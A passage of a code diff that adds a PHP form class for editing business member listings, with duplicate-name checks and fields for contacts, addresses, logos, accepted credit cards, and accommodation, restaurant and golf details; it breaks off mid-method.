+        */
+       public $pendingFields = array();
+
+       //      What are the modules associated with this form.
+       //      New members won't have access to these right away.
+       //      This boolean settings will be overridden inside the class.
+
+       /**
+        * The status of accommodation related categories associated w/ the member
+        *
+        * If the member has any categories that are assigned to the accommodations
+        * module, then this setting will become true and the form will show
+        * the accommodation module.
+        *
+        * @var bool
+        * @access protected
+        */
+       protected $accommodations = false;
+
+       /**
+        * The status of restaurant related categories associated w/ the member
+        *
+        * If the member has any categories that are assigned to the restaurant
+        * module, then this setting will become true and the form will show
+        * the restaurant module.
+        *
+        * @var bool
+        * @access protected
+        */
+       protected $restaurant = false;
+
+       /**
+        * The status of golf related categories associated w/ the member
+        *
+        * If the member has any categories that are assigned to the golf
+        * module, then this setting will become true and the form will show
+        * the golf module.
+        *
+        * @var bool
+        * @access protected
+        */
+       protected $golf = false;
+
+       /**
+        * States array for select list
+        *
+        * @var array
+        * @access protected
+        */
+       protected $states;
+
+       /**
+        * Category record objects
+        *
+        * Used when creating the category select list.
+        *
+        * @var array
+        * @access protected
+        */
+       protected $records = array();
+
+       /**
+        * The categories the member has associated with it
+        *
+        * @var array
+        * @access protected
+        */
+       protected $memberCategories = null;
+
+       /**
+        * Primary email address to send notification a record has been updated
+        *
+        * Set this value to false and it will turn off the email
+        * update notifications.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $primaryAdvisee;
+
+       /**
+        * Email address of people that might also want to be advised of updates
+        *
+        * A list of all email address that might also want to be advised 
+        * updates have been made on a business record. You can add as many
+        * as you would like and they will be CC in the email.
+        *
+        * N.B. You cannot make this array bigger than 5 people or you will need to
+        * rewrite the function to handle the server spam issue.
+        * @var array
+        * @access private
+        */
+        protected $secondaryAdvisees = array();
+
+       /**
+        * Flexy options used in the renderer
+        *
+        * @var array
+        * @access protected
+        */
+       protected $flexyOptions;
+
+       /**
+        * The name of the template used to render the business info form
+        *
+        * @var string
+        * @access protected 
+        */
+       protected $formTemplate = 'editMember.tpl';
+
+       /**
+        * The name of the template used to email the owner for any updates
+        *
+        * When a member makes an update to thier record, this is the template
+        * we will use to send out the email notification to the site owner.
+        *
+        * @var string
+        * @access protected
+        */
+       protected $emailTemplate = 'emailOwner.tpl';
+
+       /**
+        * Message to return if the form successfully submits
+        *
+        * @var string
+        * @access protected
+        */
+    protected $successMsg = '
+        <div id="form-success-top">
+            The information below has been successfully submitted.
+        </div>';
+
+       /**
+        * The flexy template object which holds the rendered object
+        *
+        * @var object
+        * @access protected
+        */
+       protected $template;
+
+       /**
+        * Form access from inside the template
+        *
+        * @var object
+        * @access protected
+        */
+       protected $view;
+
+       /**
+        * Extra rules we need to register so we can fully validate form elements
+        *
+        * @var array
+        * @access protected
+        */
+       protected $registeredRules = array(
+               'zip',
+               'phone',
+               array(
+                       'checkEmail',
+                       'callback',
+                       'email',
+                       'Validate'
+               ),
+               array(
+                       'checkURI',
+                       'callback',
+                       'uri',
+                       'Validate'
+               )
+       );
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO    $pdo         PHP Data Object to use for DB calls
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+     *
+        * @access public
+        * @see    Toolkit_FormBuilder, HTML_QuickForm
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+               //      if this value is set to false, then no emails will be sent out
+               //      upon update of a record.
+               if ($this->primaryAdvisee !== false) {
+                       if (!defined('MEMBER_RECORD_UPDATES_ADVISOR')) {
+                               //      Please see property definition above for explanation.
+                               echo 'in file: [' . __FILE__ . ' ] on line: [' . __LINE__ . ']<br>';
+                               echo '
+                               <p>
+                                       Please define the
+                                       <strong>MEMBER_RECORD_UPDATES_ADVISOR</strong> constant
+                                       in the setup file first.<br><br> This Constant should hold
+                                       the email address of the person you would like notified
+                                       when a member submits an update.<br>Set to false if you do
+                                       not want an email to be sent.
+                               </p>';
+                               die;
+                       }
+                       $this->primaryAdvisee = MEMBER_RECORD_UPDATES_ADVISOR;
+               }
+               //      If you want to add secondary advisors that will also receive
+               //      an email when a record is updated, update the property here.
+               //      If you use associative key values then they will be appended
+               //      to the email string. i.e.
+               //      Jamie Kahgee <jamie.kahgee+secondaryAdvisorTest1@gmail.com>
+               //      Other wise the address will just be added.
+               $this->secondaryAdvisees = array(
+                       //'Jamie Kahgee' => 'jamie.kahgee+secondaryAdvisorTest1@gmail.com',
+                       //'Jodie Bissonette' => 'jodie@gaslightmedia.com',
+               );
+
+               $this->dbh = $pdo;
+
+               $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+       }
+
+       //      }}}
+
+       // {{{ addInfoElement()
+
+       /**
+        * Determines if the element is supposed to display additional info
+        *
+     * @param string $element name of element
+     *
+        * @return boolean True if supposed to display additional info.
+        *                                 false otherwise
+        * @access public
+        */
+       function addInfoElement($element)
+       {
+               switch ($element) {
+               case 'street' :
+               case 'member_contact_email' :
+                       return true;
+                       break;
+
+               default :
+                       return false;
+                       break;
+               }
+       }
+
+       //      }}}
+
+       //      {{{ checkMemberName()
+
+       /**
+        * Checks if the member name already exists in the database
+        *
+        * @param array $data The name of the member to check for.
+     *
+        * @return bool False on SQL Query error, otherwise true.
+        * @access      protected
+        */
+       public function checkMemberName($data)
+       {
+               try {
+                       //      If we're editing a member, they
+                       //      can save that member as its
+                       //      own name. so don't include that 
+                       //      member in the check.
+                       if (is_numeric($_GET['id'])) {
+                               $and = "AND member_id != :id";
+                       }
+                       $sql = "
+                               SELECT count(*) AS total
+                                 FROM member
+                                WHERE member_name = :name
+                                 $and";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':name', $data, PDO::PARAM_STR);
+                       if (is_numeric($_GET['id'])) {
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_STR);
+                       }
+                       $stmt->execute();
+            $stmt->bindColumn('total', $valid);
+                       $stmt->fetch();
+
+                       return !(bool) $valid;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ checkUName()
+
+       /**
+        * Checks if the login name already exists in the database
+        *
+        * @param array $data The name of the member to check for.
+     *
+        * @return boolean False on SQL Query error, otherwise true.
+        * @access      protected
+        */
+       public function checkUName($data)
+       {
+               try {
+                       //      If we're editing a member, they
+                       //      can save that member as its
+                       //      own name. so don't include that 
+                       //      member in the check.
+                       if (is_numeric($_GET['id'])) {
+                               $and = "AND member_id != :id";
+                       }
+                       $sql = "
+                               SELECT count(*) AS total
+                                 FROM {$this->tableName}
+                                WHERE member_login = :name
+                                 $and";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':name', $data, PDO::PARAM_STR);
+                       if (is_numeric($_GET['id'])) {
+                               $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_STR);
+                       }
+                       $stmt->execute();
+            $stmt->bindColumn('total', $valid);
+                       $stmt->fetch();
+
+                       return !(bool) $valid;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     checkDate()
+
+    /**
+     * Validate date input
+     * 
+     * allows for empty dates to be valid
+     *
+     * @param array $date date group from form
+     *
+     * @return boolean true if valid, false if not
+     * @access public
+     */
+       public function checkDate($date)
+       {
+               $validate = false;
+               foreach ($date as $i) {
+                       if (is_numeric($i)) {
+                               $validate = true;
+                               break;
+                       }
+               }
+
+               if ($validate) {
+                       //      at least one date list had a number in it.
+                       $d = implode('-', $date);
+                       return Validate::date($d, array('format' => '%n-%j-%Y'));
+               } else {
+                       //      no date numbers were selected
+                       return true;
+               }
+       }
+
+       //      }}}
+       //      {{{ clearModule()
+
+       /**
+        * Removes a module from a member
+        *
+        * When updating a member this function is called for every module.
+        * Then if the member still has that module category assigned to them
+        * the data will be re-inserted back into the db.  Otherwise it will
+        * removed and not associated with that member anymore.
+        *
+        * @param string $tableName     The name of the table / module to clear
+     *
+        * @return Boolean False on SQL Query error, otherwise true.
+        * @access      protected
+        */
+       protected function clearModule($tableName)
+       {
+               try {
+                       $sql = "
+                DELETE FROM $tableName
+                 WHERE member_id = :member_id";
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{ createCategories()
+
+       /**
+        * Creates an array from the array of category tree objects
+        *
+     * @param array   $tree  linear tree array of member categories
+     * @param integer $depth what level we are on
+     * 
+        * @return array The array list of categories that
+        *                               that can be loaded into a select element
+        * @access protected
+        */
+       protected function createCategories($tree, $depth = 0)
+       {
+               $this->records[] = $tree->category;
+               if ($depth == 0) {
+                       $this->categories[$tree->catid] = "<span>{$tree->category}</span>";
+               } else {
+                       $this->categories[$tree->catid] = $tree->category;
+               }
+               if (empty($tree->children)) {
+                       return;
+               } else {
+                       ++$depth;
+                       foreach ($tree->children as $miniTrees) {
+                               $this->createCategories($miniTrees, $depth);
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{ configureConstants()
+
+       /**
+        * Sets the constants for the form
+        *
+        * The member category select list must always default
+        * to the -- Choose Category -- option
+        *
+     * @return void
+        * @access public
+        */
+       public function configureConstants()
+       {
+               $c = array();
+
+               //      set the remove_logo_rmv element to 0 so
+               //      if a logo is uploaded and then the remove
+               //      checkbox is checked and the form is submitted
+               //      it won't retain its checked status.
+               $c = array(
+                       'member_cats[]' => '',
+                       'remove_logo_rmv' => 0,
+               );
+
+               $this->setupConstants($c);
+       }
+
+       //      }}}
+       //      {{{ configureDefaults()
+
+       /**
+        * Sets the defaults for the an existing member
+        *
+        * Populates data for the main member form.  Also grabs
+        * data to populate the modules on the form if needed.
+        *
+        * @return array $defaults Returns the array of defaults
+        *                                                 so children who call this function
+        *                                                 can obtain a copy of these values.
+        * @access public
+        */
+       public function configureDefaults()
+       {
+               $existingMember = (is_numeric($_GET['id']));
+               if ($existingMember) {
+                       try {
+                               $member_id = $_GET['id'];
+                               //      Get the data for the main form items
+                               $sql = "
+                                       SELECT *
+                                         FROM {$this->tableName}
+                                        WHERE member_id = :member_id";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $member_id, PDO::PARAM_INT);
+                               $stmt->execute();
+                               while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                                       foreach ($row as $k => $v) {
+                                               if ($k == 'logo') {
+                                                       $defaults['old_logo_rmv'] = $v;
+                                                       $k = 'image_rmv';
+                                                       $v = '<img src="'.MEMBER_PHOTOS.$v.'"
+                                                                               alt="'.$v.'">';
+                                               }
+                                               $defaults[$k] = $v;
+                                       }
+                               }
+
+                               //      Set the defaults for the credit cards.
+                               $sql = "
+                    SELECT cct.*, mcct.*
+                      FROM ccard_type cct, member_ccard_type mcct
+                     WHERE cct.ccard_type_id = mcct.ccard_type_id
+                       AND mcct.member_id    = :member_id";
+                               $stmt = $this->dbh->prepare($sql);
+                               $stmt->bindParam(':member_id', $member_id, PDO::PARAM_INT);
+                               $stmt->execute();
+                               while ($member = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                                       $defaults["creditCards[{$member['ccard_type_name']}]"] = true;
+                               }
+
+                               $moduleTables = array(
+                                       'member_accommodations',
+                                       'member_golf',
+                                       'member_restaurants',
+                               );
+                               foreach ($moduleTables as $table) {
+                                       $sql = "
+                        SELECT *
+                          FROM $table
+                         WHERE member_id = :member_id";
+                                       $stmt = $this->dbh->prepare($sql);
+                                       $stmt->bindParam(':member_id', $member_id, PDO::PARAM_INT);
+                                       $stmt->execute();
+                                       while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
+                                               foreach ($row as $k => $v) {
+                                                       $defaults[$k] = $v;
+                                               }
+                                       }
+                               }
+                       } catch (PDOException $e) {
+                               Toolkit_Common::handleError($e);
+                       }
+               } else {
+                       $defaults = array(
+                               'member_cats[]' => '',
+                               'state_id'              => '',
+                               'country'               => '',
+                       );
+               }
+
+               $this->setupDefaults($defaults);
+               return $defaults;
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * Categories are populated into the protected class property $categories.
+        * These categories are used to populate the select list of categories.
+        * Modules are configured before any elements are setup, that way we will
+        * know if we need to include them in the rendering of the form.
+        *
+     * @return void
+        * @access public
+        */
+       public function configureElements()
+       {
+               $e = array();
+
+        //  get reference to [listing type] section of config file
+        $config =& $this->config->getItem('section', 'listing type');
+        //  get coupon
+        $singularDirective =& $config->getItem('directive', 'singular');
+        $singularType = $singularDirective->getContent();
+        $pluralDirective =& $config->getItem('directive', 'plural');
+        $pluralType = $pluralDirective->getContent();
+
+        //  get reference to [conf] section of config file
+        $config =& $this->config->getItem('section', 'conf');
+        //  get controlled cities
+        $ctrlCtyDirective =& $config->getItem('directive', 'controlledCities');
+        //  get region
+        $rgnDirective =& $config->getItem('directive', 'regions');
+
+               $this->setupFormCategories();
+               $this->configureModules();
+
+               $this->getCategories();
+
+               //      All Grouped Elements are created here.
+               //      All Elements are created here.  This includes group element definitions.
+
+        //  {{{ Member Information
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'memberInfoHdr',
+                       'display' => "$singularType Information",
+                       'col1'    => true
+               );
+               $e[] = array(
+                       'type'    => 'advcheckbox',
+                       'req'     => true,
+                       'name'    => 'active',
+                       'display' => 'Status',
+            'opts'    => 'Active',
+                       'val'     => array(0, 1),
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'member_name',
+                       'display' => "$singularType Name",
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'primary_contact_fname',
+                       'display' => 'Primary Contact First Name',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'primary_contact_lname',
+                       'display' => 'Primary Contact Last Name',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'process_email',
+                       'display' => 'Primary Contact Email',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'select3',
+                       'req'     => false,
+                       'name'    => 'member_cats[]',
+                       'display' => "$singular Category",
+                       'opts'    => $this->categories,
+                       'att'     => array('id' => 'categories')
+               );
+               $e[] = array(
+                       'type'    => 'date',
+                       'req'     => false,
+                       'name'    => 'join_date',
+                       'display' => "$singularType Since",
+                       'opts'    => array(
+                               'format'           => 'm / d / Y',
+                               'minYear'          => 2009,
+                               'maxYear'          => date('Y'),
+                               'addEmptyOption'   => true,
+                               'emptyOptionValue' => '',
+                               'emptyOptionText'  => array(
+                                       'm' => 'mm',
+                                       'd' => 'dd',
+                                       'Y' => 'yyyy',
+                               )
+                       )
+               );
+               if ($rgnDirective->getContent()) {
+                       $e[] = array(
+                               'type'    => 'select',
+                               'req'     => false,
+                               'name'    => 'region',
+                               'display' => 'Region',
+                               'opts'    => $this->getRegions()
+                       );
+               }
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'phone',
+                       'display' => 'Primary Phone',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'toll_free',
+                       'display' => 'Toll Free Phone',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'fax',
+                       'display' => 'Fax Number',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'member_contact_email',
+                       'display' => 'Email on Website',
+                       'opts'    => array('class' => 'text')
+               );
+               /*
+               $e[] = array(
+                       'type'    => 'select',
+                       'req'     => false,
+                       'name'    => 'country',
+                       'display' => 'Country',
+                       'opts'    => array(
+                               ''       => '-- Select Country --',
+                               'USA'    => 'USA',
+                               'Canada' => 'Canada'
+                       )
+               );
+               */
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'url',
+                       'display' => 'Website Address',
+                       'opts'    => array('class' => 'text')
+               );
+
+        //  }}}
+        //  {{{ Physical Address
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'physicalAddressHdr',
+                       'display' => 'Street Address',
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'street',
+                       'display' => 'Street Address',
+                       'opts'    => array('class' => 'text')
+               );
+        if ($ctrlCtyDirective->getContent()) {
+            $e[] = array(
+                'type'    => 'select',
+                'req'     => true,
+                'name'    => 'city_id',
+                'display' => 'City',
+                'opts'    => $this->getCities(),
+            );
+        } else {
+            $e[] = array(
+                'type'    => 'text',
+                'req'     => true,
+                'name'    => 'city',
+                'display' => 'City',
+                'opts'    => array('class' => 'text')
+            );
+        }
+               $e[] = array(
+                       'type'    => 'select',
+                       'req'     => true,
+                       'name'    => 'state_id',
+                       'display' => 'State / Province',
+                       'opts'    => $this->states
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => true,
+                       'name'    => 'zip',
+                       'display' => 'Zip / Postal Code',
+                       'opts'    => array('class' => 'text')
+               );
+
+        //  }}}
+               //      {{{ Mailing Address
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'MailingAddressHdrRmv',
+                       'display' => 'Mailing Address (if different than physical address)',
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'mailing_address',
+                       'display' => 'Mailing Address',
+                       'opts'    => array('class' => 'text')
+               );
+        if ($ctrlCtyDirective->getContent()) {
+            $e[] = array(
+                'type'    => 'select',
+                'req'     => false,
+                'name'    => 'mailing_city_id',
+                'display' => 'City',
+                'opts'    => $this->getCities(),
+            );
+        } else {
+            $e[] = array(
+                'type'    => 'text',
+                'req'     => false,
+                'name'    => 'mailing_city',
+                'display' => 'City',
+                'opts'    => array('class' => 'text')
+            );
+        }
+               $e[] = array(
+                       'type'    => 'select',
+                       'req'     => false,
+                       'name'    => 'mailing_state_id',
+                       'display' => 'State / Province',
+                       'opts'    => $this->states
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'mailing_zip',
+                       'display' => 'Zip / Postal Code',
+                       'opts'    => array('class' => 'text')
+               );
+
+        //  }}}
+               //      {{{ Member Description
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'memberDescHdr',
+                       'display' => "$singular Description",
+                       'col1'    => true
+               );
+               $e[] = array(
+                       'type'    => 'textarea',
+                       'req'     => false,
+                       'name'    => 'description',
+                       'display' => null,
+                       'opts'    => array(
+                               'id'   => 'description',
+                               'rows' => 8,
+                               'cols' => 43
+                       )
+               );
+
+        //  }}}
+               //      {{{ Account Info
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'accountInfoHdr',
+                       'display' => 'Account Info',
+                       'col2'    => true
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'member_login',
+                       'display' => 'Username',
+                       'opts'    => array('class' => 'text')
+               );
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'member_passwd',
+                       'display' => 'Password',
+                       'opts'    => array('class' => 'text')
+               );
+
+        //  }}}
+               //      {{{ Member Logo
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'logoHdr',
+                       'display' => "$singular Logo",
+                       'col2'    => true
+               );
+               if ($this->hasLogo()) {
+                       $e[] = array(
+                               'type'    => 'checkbox',
+                               'req'     => false,
+                               'name'    => 'remove_logo_rmv',
+                               'display' => 'Remove Logo'
+                       );
+                       $e[] = array(
+                               'type'    => 'static',
+                               'req'     => false,
+                               'name'    => 'image_rmv',
+                               'display' => 'Current Logo'
+                       );
+            $e[] = array(
+                               'type' => 'hidden',
+                               'req'  => false,
+                               'name' => 'old_logo_rmv'
+                       );
+               }
+
+               $e[] = array(
+                       'type'    => 'file',
+                       'req'     => false,
+                       'name'    => 'new_logo_rmv',
+                       'display' => 'New Logo',
+                       'opts'    => array('class' => 'file')
+               );
+
+        //  }}}
+               //      {{{ Payment Type Accepted
+
+               $e[] = array(
+                       'type'    => 'header',
+                       'req'     => false,
+                       'name'    => 'CreditCardsHdr',
+                       'display' => 'Payment Type Accepted',
+                       'col2'    => true
+               );
+               $e[] = array(
+                       'type'    => 'checkbox',
+                       'req'     => false,
+                       'name'    => 'creditCards[American Express]',
+                       'display' => 'American Express'
+               );
+               $e[] = array(
+                       'type'    => 'checkbox',
+                       'req'     => false,
+                       'name'    => 'creditCards[Discover]',
+                       'display' => 'Discover'
+               );
+               $e[] = array(
+                       'type'    => 'checkbox',
+                       'req'     => false,
+                       'name'    => 'creditCards[Master Card]',
+                       'display' => 'Master Card'
+               );
+               $e[] = array(
+                       'type'    => 'checkbox',
+                       'req'     => false,
+                       'name'    => 'creditCards[Visa]',
+                       'display' => 'Visa'
+               );
+   
+        //  }}}
+               //      {{{ Accommodations Information
+
+               if ($this->accommodations) {
+                       $e[] = array(
+                               'type'    => 'header',
+                               'req'     => false,
+                               'name'    => 'AccommodationsHdr',
+                               'display' => 'Accommodations Information',
+                               'col2'    => true
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'reservation_id',
+                               'display' => 'Reservation Id',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'num_rooms',
+                               'display' => 'Number of Rooms',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'year_round',
+                               'display' => 'Open all Year',
+                               'val'     => array(0, 1)
+                       );
+               }
+
+        //  }}}
+               //      {{{ Restaurant Information
+
+               if ($this->restaurant) {
+                       $e[] = array(
+                               'type'    => 'header',
+                               'req'     => false,
+                               'name'    => 'RestaurantHdr',
+                               'display' => 'Restaurant Information',
+                               'col2'    => true
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'breakfast',
+                               'display' => 'Breakfast',
+                               'att'     => array('id'  => 'breakfast'),
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'breakfast_from',
+                               'display' => 'From',
+                               'opts'    => array('class' => 'priceFrom')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'breakfast_to',
+                               'display' => 'To',
+                               'opts'    => array('class' => 'priceTo')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'brunch',
+                               'display' => 'Brunch',
+                               'att'     => array('id' => 'brunch'),
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'brunch_from',
+                               'display' => 'From',
+                               'opts'    => array('class' => 'priceFrom')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'brunch_to',
+                               'display' => 'To',
+                               'opts'    => array('class' => 'priceTo')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'lunch',
+                               'display' => 'Lunch',
+                               'att'     => array('id' => 'lunch'),
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'lunch_from',
+                               'display' => 'From',
+                               'opts'    => array('class' => 'priceFrom')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'lunch_to',
+                               'display' => 'To',
+                               'opts'    => array('class' => 'priceTo')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'dinner',
+                               'display' => 'Dinner',
+                               'att'     => array('id' => 'dinner'),
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'dinner_from',
+                               'display' => 'From',
+                               'opts'    => array('class' => 'priceFrom')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'dinner_to',
+                               'display' => 'To',
+                               'opts'    => array('class' => 'priceTo')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'alcohol',
+                               'display' => 'Alcohol',
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'non_smoking',
+                               'display' => 'Non-Smoking',
+                               'val'     => array(0, 1)
+                       );
+               }
+
+        //  }}}
+               //      {{{ Golf Information
+
+               if ($this->golf) {
+                       $e[] = array(
+                               'type' => 'header',
+                               'req' => false,
+                               'name' => 'GolfingHdr',
+                               'display' => 'Golf Course Information',
+                               'col2' => true
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'par',
+                               'display' => 'Par',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'yardage',
+                               'display' => 'Yardage',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'course_rating',
+                               'display' => 'Course Rating',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'slope_rating',
+                               'display' => 'Slope Rating',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'advcheckbox',
+                               'req'     => false,
+                               'name'    => 'walking_course',
+                               'display' => 'Walking Course',
+                               'val'     => array(0, 1)
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'holes18',
+                               'display' => '18 Holes',
+                               'opts'    => array('class' => 'text')
+                       );
+                       $e[] = array(
+                               'type'    => 'text',
+                               'req'     => false,
+                               'name'    => 'holes9',
+                               'display' => '9 Holes',
+                               'opts'    => array('class' => 'text')
+                       );
+               }
+
+        //  }}}
+        //  {{{ Social Media Links
+
+        $e[] = array(
+            'type' => 'header',
+            'req' => false,
+            'name' => 'SocialMediaHdr',
+            'display' => 'Social Media Links',
+            'col2' => true,
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'facebook',
+            'display' => 'Facebook',
+            'col2' => true,
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'twitter',
+            'display' => 'Twitter',
+            'col2' => true,
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'myspace',
+            'display' => 'MySpace',
+            'col2' => true,
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'linkedin',
+            'display' => 'LinkedIn',
+            'col2' => true,
+        );
+        $e[] = array(
+            'type' => 'text',
+            'req' => false,
+            'name' => 'blog',
+            'display' => 'Blog',
+            'col2' => true,
+        );
+
+        //  }}}
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ configureFilters()
+
+       /**
+        * Setup the filters to apply to the elements before we are
+        * handed the values submitted
+        *
+     * @return void
+        * @access public
+        */
+       public function configureFilters()
+       {
+               $f = array();
+               $f[] = array(
+                       'element' => '__ALL__',
+                       'filter' => 'trim'
+               );
+        $f[] = array(
+            'element' => 'facebook',
+            'filter' => array(&$this, 'filterURI')
+        );
+        $f[] = array(
+            'element' => 'twitter',
+            'filter' => array(&$this, 'filterURI')
+        );
+        $f[] = array(
+            'element' => 'myspace',
+            'filter' => array(&$this, 'filterURI')
+        );
+        $f[] = array(
+            'element' => 'linkedin',
+            'filter' => array(&$this, 'filterURI')
+        );
+        $f[] = array(
+            'element' => 'blog',
+            'filter' => array(&$this, 'filterURI')
+        );
+        $f[] = array(
+            'element' => 'url',
+            'filter' => array(&$this, 'filterURI')
+        );
+        $f[] = array(
+            'element' => 'phone',
+            'filter' => array(&$this, 'filterPhone')
+        );
+        $f[] = array(
+            'element' => 'fax',
+            'filter' => array(&$this, 'filterPhone')
+        );
+        $f[] = array(
+            'element' => 'toll_free',
+            'filter' => array(&$this, 'filterPhone')
+        );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Wrapper function to handle setting up the form
+     *
+     * @return void
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureFilters();
+        $this->configureRules();
+        $this->configureDefaults();
+        $this->configureConstants();
+    }
+
+    //  }}}
+       //      {{{ configureModules()
+
+       /**
+        * Turns on a modules if the member has the appropriate category
+        *
+     * @return void
+        * @access protected
+        */
+       protected function configureModules()
+       {
+               if (is_array($this->memberCategories)) {
+                       try {
